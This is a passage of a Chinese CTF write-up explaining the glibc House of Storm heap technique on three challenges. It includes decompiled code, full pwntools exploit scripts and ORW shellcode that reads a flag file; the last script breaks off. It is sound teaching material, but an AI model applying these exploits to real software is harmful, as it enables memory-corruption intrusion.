free_hook+0x10处,即0x00007f05935487c0,之后执行0x00007f05935487c0地址处的代码,即我们刚才写入的shellcode1,执行read(0, new_addr,0x1000),将我们构造的第二个shellcode写入0x00007f0593548000处 ,并将rip跳转到我们写的第二个shellcode处执行。

1
2
3
4
5
6
7
8
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(12, str(frame))
free(12)

在这里插入图片描述
在这里插入图片描述

ORW

利用orw构造shellcode,发送过去并执行,获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
sl(asm(shellcode2))
itr()

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
# coding=utf-8
from pwn import *
#sh = remote("node4.buuoj.cn", 29278)
sh = process('./rctf_2019_babyheap')
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./rctf_2019_babyheap")
libc = ELF('../../libc-2.23.so--64')
def dbg():
gdb.attach(sh)
pause()

#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))


def add(size):
ru("Choice: \n")
sl('1')
ru("Size: ")
sl(str(size))

def free(index):
ru("Choice: \n")
sl('3')
ru("Index: ")
sl(str(index))

def show(index):
ru("Choice: \n")
sl('4')
ru("Index: ")
sl(str(index))

def edit(index, content):
ru("Choice: \n")
sl('2')
ru("Index: ")
sl(str(index))
ru("Content: ")
s(content)

def pwn():

add(0x80)#0
add(0x68)#1
add(0xf0)#2
add(0x18)#3

#dbg()

free(0)
payload = 'a'*0x60 + p64(0x100)
edit(1, payload)

#dbg()

free(2)

#dbg()

add(0x80)#0
show(1)
malloc_hook = u64(ru('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
set_context = libc.symbols['setcontext']
lg('libc_base',libc.address)

#dbg()

add(0x160)#2

#dbg()
#---------------布置chunk-------------------------#
add(0x18)#4
add(0x508)#5
add(0x18)#6
add(0x18)#7
add(0x508)#8
add(0x18)#9
add(0x18)#10

#dbg()
#----------------准备 unsorted chunk-----------------------#
edit(5, 'a'*0x4f0+p64(0x500))

#dbg()

free(5)
edit(4, 'a'*0x18)

#dbg()

add(0x18)#5
add(0x4d8)#11
free(5)
free(6)

#dbg()

add(0x30)#5
add(0x4e8)#6

#dbg()

#-------------------准备 large chunk-----------------------------------#
edit(8, 'a'*0x4f0+p64(0x500))
free(8)
edit(7, 'a'*0x18)
add(0x18)#8
add(0x4d8)#12
free(8)
free(9)
add(0x40)#8
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#

#dbg()

free(6)

#dbg()

add(0x4e8)#6

#dbg()

free(6)

#dbg()

#pause()
#--------------修改他们的满足条件进行 house of strom------------------------------#
storage = free_hook
fake_chunk = storage - 0x20
payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(11, payload)

#dbg()

payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
edit(12, payload)

#dbg()

add(0x48)#6

#dbg()

new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % new_addr
edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))

#dbg()

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(12, str(frame))
free(12)
#dbg()

shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax

mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
sl(asm(shellcode2))


dbg()
itr()


pwn()

House of storm

结合了unsorted_bin_attack和Largebin_attack的攻击技术,实现任意地址分配chunk,任意地址写。

利用条件:

1
2
3
4
5
6
1.需要攻击者在largebin和unsorted_bin中分别布置一个chunk ,
这两个chunk需要在归位之后处于同一个largebin的index中,
且unsortedbin中的chunk要比largebin中的大
2.需要unsorted_bin中的bk指针可控
3.需要largebin中的bk指针和bk_nextsize指针可控
4.glibc版本小于2.30,因为2.30之后加入了检查

largebin中size与index的对应关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
size    index
[0x400 , 0x440) 64
[0x440 , 0x480) 65
[0x480 , 0x4C0) 66
[0x4C0 , 0x500) 67
[0x500 , 0x540) 68
等差 0x40 …
[0xC00 , 0xC40) 96
[0xC40 , 0xE00) 97
[0xE00 , 0x1000) 98
[0x1000 , 0x1200) 99
[0x1200 , 0x1400) 100
[0x1400 , 0x1600) 101
等差 0x200 …
[0x2800 , 0x2A00) 111
[0x2A00 , 0x3000) 112
[0x3000 , 0x4000) 113
[0x4000 , 0x5000) 114
等差 0x1000 …
[0x9000 , 0xA000) 119
[0xA000 , 0x10000) 120
[0x10000 , 0x18000) 121
[0x18000 , 0x20000) 122
[0x20000 , 0x28000) 123
[0x28000 , 0x40000) 124
[0x40000 , 0x80000) 125
[0x80000 , …. ) 126

利用方法

1
2
3
4
5
1.将unsorted_bin中的bk指针改为fake_chunk
2.largebin中的bk指针改为fake_chunk+8,bk_nextsize指针改为fake_chunk-0x18-5 ,
target为要修改的目标地址,fake_chunk为target-0x20
来满足victim->bk_nextsize->fd_nextsize = victim(即fake_chunk-0x18-5=victim)
3.再次malloc获得target地址处的chunk,可修改target地址处的值

House_of_storm的精髓所在——伪造size,如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,且我们的堆地址永远都是6个字节,且如果是小端存储的话,减去五个字节,剩下的就是0x55了。如果提前5个字节开始写堆地址,那么伪造在size字段上面的就正好是0x55。如果后续再申请堆块时,通过对齐使0x55对齐之后和攻击者申请的size正好相同的话,就可以在任意地址上申请出来一个chunk,也就可以达成后续的任意地址写操作。
之所以是0x56是因为__int_malloc在拿到chunk后返回到__libc_malloc,__libc_malloc会对chunk的进行检查,这里如果有错的话会直接crash,必须满足以下条件之一即可:

1
2
3
1. victim 为 0
2. IS_MMAPPED 为 1
3. NON_MAIN_ARENA 为 0

0x56(二进制数为0101 0110)满足条件
0x55(二进制数为0101 0101)不满足条件
但是由于程序有随机化,多运行几次总能有一次成功的。

1
2
3
4
5
6
7
unsorted_bin->fd = 0
unsorted_bin->bk = fake_chunk

large_bin->fd = 0
large_bin->bk = fake_chunk+8
large_bin->fd_nextsize = 0
large_bin->bk_nextsize = fake_chunk - 0x18 -5

例题

2019 西湖论剑 Storm_note在这里插入图片描述

保护全开,实现四个功能,增改删退,ida查看伪代码
init_proc()函数,mallopt()函数,设置fastbin 范围最大为0,禁用了fastbin,
之后用mmap在 0xABCD0100处分配0x30大小的空间,填充上了随机数

init_proc()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 ssize_t init_proc()
{
ssize_t result; // rax
int fd; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( !mallopt(1, 0) ) // mallopt(M_MXFAST,0)将global_max_fast设置为0,
// 这个值的意思是最大为多大的chunk归fastbin管理,
// 设置为0表示这个程序中不再存在fastbin。
// 即本程序禁用了fastbin。
exit(-1);
if ( mmap(0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != 0xABCD0000LL )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
result = read(fd, 0xABCD0100LL, 0x30uLL);
if ( result != 48 )
exit(-1);
return result;
}

add函数

calloc函数来分配堆空间,因此返回前会对分配的堆的内容进行清零。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 alloc_note()
{
int size; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
for ( i = 0; i <= 15 && note[i]; ++i )
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size ?");
_isoc99_scanf("%d", &size);
if ( size > 0 && size <= 0xFFFFF )
{
note[i] = calloc(size, 1uLL); // calloc函数来分配堆空间,因此返回前会对分配的堆的内容进行清零。
//
note_size[i] = size;
puts("Done");
}
else
{
puts("Invalid size");
}
}
return __readfsqword(0x28u) ^ v3;
}

edit函数

存在off-by-null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 edit_note()
{
unsigned int size; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Index ?");
_isoc99_scanf("%d", &size);
if ( size <= 0xF && note[size] )
{
puts("Content: ");
v2 = read(0, note[size], note_size[size]);
*(note[size] + v2) = 0; // off-by-null
//
puts("Done");
}
else
{
puts("Invalid index");
}
return __readfsqword(0x28u) ^ v3;
}

free函数

无uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 delete_note()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Index ?");
_isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && note[v1] )
{
free(note[v1]);
note[v1] = 0LL;
note_size[v1] = 0;
}
else
{
puts("Invalid index");
}
return __readfsqword(0x28u) ^ v2;
}

一个后门函数

要想执行system(“/bin/sh”);,需要输入与程序一开始分配的随机数相同的数

1
2
3
4
5
6
7
8
9
10
11
12
void __noreturn backdoor()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v1; // [rsp+38h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("If you can open the lock, I will let you in");
read(0, buf, 0x30uLL);
if ( !memcmp(buf, 0xABCD0100LL, 0x30uLL) )
system("/bin/sh");
exit(0);
}

思路

1、利用off-by-null 漏洞构造堆风水,实现堆块重叠,从而控制堆块内容。
2、House of storm,将处于unsortedbin的可控制的chunk放入largebin中,以便触发largebin attack
3、控制largebin的bk和bk_nextsize指针,通过malloc触发漏洞,分配到目标地址,实现任意地址写,将0xABCD0100处的0x30字节改为已知值,获得shell

过程

先把前面的东西写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# coding=utf-8
from pwn import *
#context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./Storm_note')

s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(sh)
pause()


def add(size):
sla('Choice','1')
sla('?',str(size))

def edit(index,text):
sla('Choice','2')
sla('?',str(index))
sa('Content',text)

def free(index):
sla('Choice','3')
sla('?',str(index))

首先申请两组chunk,用来构造堆块重叠,并进入unsortedbin和largebin

1
2
3
4
5
6
7
8
9
10
add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5

add(0x18)#6
dbg()

在这里插入图片描述

然后构造两个伪造的prev_size,用于绕过malloc检查,保护下一个chunk的prev_size不被修改。

1
2
3
4
edit(1,'a'*0x4f0+p64(0x500)) 
edit(4,'a'*0x4f0+p64(0x500))

dbg()

img
然后再free(1),利用off-by-null编辑chunk_0,将chunk_1的size从0x510改为0x500,由于刚才构造的两个fake chunk,此时堆块已合并

1
2
3
4
free(1)
edit(0,'a'*0x18)#off-by-null改写chunk1的size为0x500

dbg()

在这里插入图片描述
再申请两个chunk,使之恢复正常,之后free掉chunk_1和chunk_2,使之合并

1
2
3
4
5
6
7
add(0x18)#1
add(0x4d8)#7

free(1)
free(2)

dbg()

在这里插入图片描述
再次申请两个特定大小的chunk即可实现chunk7可以控制原unsortedbin chunk 0x4f1的bk指针,即我们可以用chunk_7来控制chunk_2(unsortedbin chunk),为便于理解我们可查看一下note这个存放全局chunk mem指针的数组

1
2
3
add(0x30)#1 此时chunk1可以控制原unsortedbin chunk  0x4f1(chunk_2)的bk指针
add(0x4e0)#2
dbg()

在这里插入图片描述
下面同理获得chunk8可以控制原 (largebin chunk 0x4e1 )的bk指针和bk_nextsize指针

1
2
3
4
5
6
7
free(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
free(4)
free(5)
add(0x40)#4 0x580

之后free(2),放入unsortedbin

1
2
3
free(2)    

dbg()

img
再申请回来0x4e8(0x4f0)大小的chunk,使0x4e0大小的chunk进入largebin

1
2
3
add(0x4e8)      # put chunk8(0x5c0) to largebin

dbg()

在这里插入图片描述
再次free(2),构造一个unsortedbin chunk和一个largebin chunk

1
2
3
free(2) #put chunk2 to unsortedbin

dbg()

在这里插入图片描述
之后利用刚才构造的堆块重叠,修改unsortedbin chunk的bk指针为目标地址(target-0x20)

1
2
3
4
5
6
7
8
target = 0xabcd0100
fake_chunk = target - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit(7,payload)

dbg()

在这里插入图片描述
在这里插入图片描述
之后利用刚才构造的堆块重叠,修改largebin chunk的bk指针和bk_nextsize指针分别为fake_chunk+8,和fake_chunk-0x18-5

1
2
3
4
5
6
7
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(8,payload2)

dbg()

在这里插入图片描述
img
然后申请0x40(0x50)大小的chunk,可以看到在目标地址处0xabcd00e0成功伪造fake chunk,size为0x56,巧妙的实现victim->bk_nextsize->fd_nextsize = victim

1
2
3
add(0x40)

dbg()

在这里插入图片描述
之后就是把0xABCD0100处的0x30个字节改为已知数,然后获得shell

1
2
3
4
payload = '\x00'*(0x10+0x30)
edit(2,payload)

dbg()

img

1
2
3
sla('Choice: ','666')
s(p64(0)*6)
itr()

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# coding=utf-8
from pwn import *
#context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./Storm_note')

s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims :sh.recvuntil(delims)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
def dbg():
gdb.attach(sh)
pause()


def add(size):
sla('Choice','1')
sla('?',str(size))

def edit(index,text):
sla('Choice','2')
sla('?',str(index))
sa('Content',text)

def free(index):
sla('Choice','3')
sla('?',str(index))
#---------------布置chunk-------------------------#
add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5

add(0x18)#6


#dbg()
#构造两个伪造的prev_size,用于绕过malloc检查,保护下一个chunk的prev_size不被修改。
edit(1,'a'*0x4f0+p64(0x500))
edit(4,'a'*0x4f0+p64(0x500))

#dbg()
#----------------准备 unsorted chunk-----------------------#
free(1)
edit(0,'a'*0x18)#off-by-null改写chunk1的size为0x500

#dbg()

add(0x18)#1
add(0x4d8)#7

free(1)
free(2)

#dbg()

#recover
add(0x30)#1 此时chunk7可以控制原 (unsortedbin chunk 0x4f1)的bk指针
add(0x4e0)#2
#-------------------准备 large chunk-----------------------------------#
#dbg()
#下面同理获得chunk8可以控制原 (largebin chunk 0x4e1 )的bk指针和bk_nextsize指针
free(4)
edit(3,'a'*0x18)#off by null
add(0x18)#4
add(0x4d8)#8 0x5a0
free(4)
free(5)
add(0x40)#4 0x580

#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
free(2) #unsortedbin-> chunk2 -> chunk5(chunk8)(0x5c0) which size is largebin FIFO

#dbg()
#
add(0x4e8) # put chunk8(0x5c0) to largebin

#dbg()

free(2) #put chunk2 to unsortedbin

#dbg()
#--------------修改他们是的满足条件进行 house of strom------------------------------#
target = 0xabcd0100
fake_chunk = target - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
payload += p64(0) + p64(fake_chunk) # bk
edit(7,payload)

#dbg()

payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
payload2 += p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap

edit(8,payload2)

#dbg()

add(0x40)

#dbg()

payload = '\x00'*(0x10+0x30)
edit(2,payload)

#dbg()

sla('Choice: ','666')
s(p64(0)*6)
itr()

0ctf_2018_heapstorm2

在这里插入图片描述
同样是保护全开,

main

实现四个功能,增删改查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h] //v4=0x13370800

v4 = sub_BE6();

while ( 1 )
{
menu();
switch ( chioce(a1, a2) )
{
case 1LL:
a1 = v4;
add(v4);
break;
case 2LL:
a1 = v4;
up(v4);
break;
case 3LL:
a1 = v4;
delete(v4);
break;
case 4LL:
a1 = v4;
show(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}

主函数里有个sub_BE6()函数,其中禁用了fastbin,并且用mmap在0x13370000处分配了大小为0x1000的chunk,从/dev/urandom中读取了3个随机数到0x13370800处,还调用了两个异或函数,由后面可知,是对chunk的头指针和size进行了异或加密,返回0x13370800给v4,这里相当于有四个随机数,第三个和第四个随机数相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 sub_BE6()
{
int i; // [rsp+8h] [rbp-18h]
int fd; // [rsp+Ch] [rbp-14h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n");
puts("===== HEAP STORM II =====");
if ( !mallopt(1, 0) ) // 禁用fastbin
exit(-1);
if ( mmap(0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != 322371584 )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
if ( read(fd, 0x13370800, 0x18uLL) != 24 )
exit(-1);
close(fd);
MEMORY[0x13370818] = MEMORY[0x13370810];
for ( i = 0; i <= 15; ++i )
{
*(16 * (i + 2LL) + 0x13370800) = ptr_xor(0x13370800, 0LL);
*(16 * (i + 2LL) + 0x13370808) = size_xor(0x13370800LL, 0LL);
}
return 0x13370800LL;
}

ptr_xor()

1
2
3
4
__int64 __fastcall ptr_xor(_QWORD *a1, __int64 a2)
{
return *a1 ^ a2; //a1为第一个随机数
}

size_xor()

1
2
3
4
__int64 __fastcall size_xor(__int64 a1, __int64 a2)
{
return a2 ^ *(a1 + 8); //a1+8为第一个随机数
}

readd函数存在一个off-by-one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 __fastcall sub_1402(__int64 a1, __int64 a2)
{
__int64 v3; // rax
char buf; // [rsp+17h] [rbp-19h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
ssize_t v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
if ( !a2 )
return 0LL;
v5 = 0LL;
while ( a2 - 1 > v5 )
{
v6 = read(0, &buf, 1uLL);
if ( v6 > 0 )
{
if ( buf == 10 )
break;
v3 = v5++;
*(v3 + a1) = buf;
}
else if ( *_errno_location() != 11 && *_errno_location() != 4 )
{
break;
}
}
*(a1 + v5) = 0; // off-by-null
return v5;
}

add函数
只能申请0xC 到0x1000的chunk,且chunk的头指针和size用 了异或加密,由上面的异或函数可知只是用了前两个随机数,并且我们看到chunk的头指针和size是 在0x13370800+4*0x8处开始存放的,按照mem指针+size顺序依次存放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void __fastcall add(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !size_xor(a1, *(16 * (i + 2LL) + a1 + 8)) )
{
printf("Size: ");
size = chioce();
if ( size > 12 && size <= 4096 )
{
v3 = calloc(size, 1uLL);
if ( !v3 )
exit(-1);
*(16 * (i + 2LL) + a1 + 8) = size_xor(a1, size);
*(16 * (i + 2LL) + a1) = ptr_xor(a1, v3);
printf("Chunk %d Allocated\n", i);
}
else
{
puts("Invalid Size");
}
return;
}
}
}

edit函数

读入的数据+12要小于等于申请时写的size,我们读入的数据会追加上一个12字节字符串再加上一个0结尾,所以存在off_by_null但是prev_size无法控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall edit(_QWORD *a1)
{
signed int v2; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
__int64 v4; // [rsp+18h] [rbp-18h]

printf("Index: ");
v2 = chioce();
if ( v2 > 0xF || !size_xor(a1, a1[2 * v2 + 5]) )
return puts("Invalid Index");
printf("Size: ");
v3 = chioce();
if ( v3 <= 0 || v3 > (size_xor(a1, a1[2 * v2 + 5]) - 12) )
return puts("Invalid Size");
printf("Content: ");
v4 = ptr_xor(a1, a1[2 * v2 + 4]);
sub_1377(v4, v3);
strcpy((v3 + v4), "HEAPSTORM_II");
return printf("Chunk %d Updated\n", v2);
}

free函数

不存在uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall sub_109B(_QWORD *a1)
{
void *v2; // rax
signed int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v3 = chioce();
if ( v3 > 0xF || !size_xor(a1, a1[2 * v3 + 5]) )
return puts("Invalid Index");
v2 = ptr_xor(a1, a1[2 * v3 + 4]);
free(v2);
a1[2 * v3 + 4] = ptr_xor(a1, 0LL);
a1[2 * v3 + 5] = size_xor(a1, 0LL);
return printf("Chunk %d Deleted\n", v3);
}

show函数

需要满足 (a1[3] ^ a1[2]) == 0x13377331才能使用该函数,也就是第2个随机数和第3个随机数异或后为0x13377331才行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
	int __fastcall sub_11B5(_QWORD *a1)
{
__int64 v2; // rbx
__int64 v3; // rax
signed int v4; // [rsp+1Ch] [rbp-14h]

if ( (a1[3] ^ a1[2]) != 0x13377331LL )
return puts("Permission denied");
printf("Index: ");
v4 = chioce();
if ( v4 > 0xF || !size_xor(a1, a1[2 * v4 + 5]) )
return puts("Invalid Index");
printf("Chunk[%d]: ", v4);
v2 = size_xor(a1, a1[2 * v4 + 5]);
v3 = ptr_xor(a1, a1[2 * v4 + 4]);
sub_14D4(v3, v2);
return puts(byte_180A);
}

思路

题目保护全开,我们想到的是把free_hook改为system地址,而我们首先得泄露出libc基地址,就必须利用show函数,要想利用show函数,就必须修改第3个随机数和第4个随机数的值,使它们异或后为0x13377331,随机数是在0x13370800处,我们就想到要将chunk分配到0x13370800处,程序允许我们分配最大0x1000大小的chunk,可以使用House of storm来将chunk分配到0x13370800处,这样我们不仅控制了四个随机数,还控制了chunk的全局数组

过程

先把前面的东西写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#coding:utf-8
from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
sh = process('./0ctf_2018_heapstorm2')
libc = ELF('./libc-2.23.so')
#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim,data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim,data)
r = lambda num=4096 :sh.recv(num)
rl = lambda num=4096 :sh.recvline(num)
ru = lambda delims :sh.recvuntil(delims )
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def dbg():
gdb.attach(sh)
pause()
def add(size):
sla('Command: ','1')
sla('Size: ',str(size)) # 12<size<0x1000


def edit(idx,content):
sla('Command: ','2')
sla('Index: ',str(idx))
sla('Size: ',str(len(content)))
sa('Content: ',content)



def free(idx):
sla('Command: ','3')
sla('Index: ',str(idx))


def show(idx):
sla('Command: ','4')
sla('Index: ',str(idx))

和上一题一样,先构造一个unsortedbin和largebin,并且利用off-by-null来实现控制unsortedbin chunk的bk指针和largebin chunk的bk和bk_size指针,然后再malloc chunk,将chunk分配到0x13370800处,这里要注意的是这道题的edit函数有点不同,会把我们输入的字节后面加上12字节再加一个’\x00’,所以我们每次edit都要少输入12字节即可实现0ff-by-null。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#---------------布置chunk-------------------------#
add(0x18)#0
add(0x508)#1
add(0x18)#2

add(0x18)#3
add(0x508)#4
add(0x18)#5

add(0x18)#6

#----------------准备 unsorted chunk-----------------------#
edit(1,'\x00'*0x4F0+p64(0x500))
free(1)
edit(0,'\x00'*(0x18-12))
add(0x18) #1
add(0x4d8) #7

free(1)
free(2) #1-2

add(0x38)#1
add(0x4e8)#2

#-------------------准备 large chunk-----------------------------------#
edit(4,'\x00'*0x4F0+p64(0x500))
free(4)
edit(3,'\x00'*(0x18-12))
add(0x18) #4
add(0x4d8) #8

free(4)
free(5) #4-5

add(0x48)#4
#---------------unsorted chunk 和 large chunk 放到对应位置----------------------#
free(2)
add(0x4e8)
free(2)
#--------------修改他们是的满足条件进行 house of strom------------------------------#
fake_chunk = 0x13370800 - 0x20
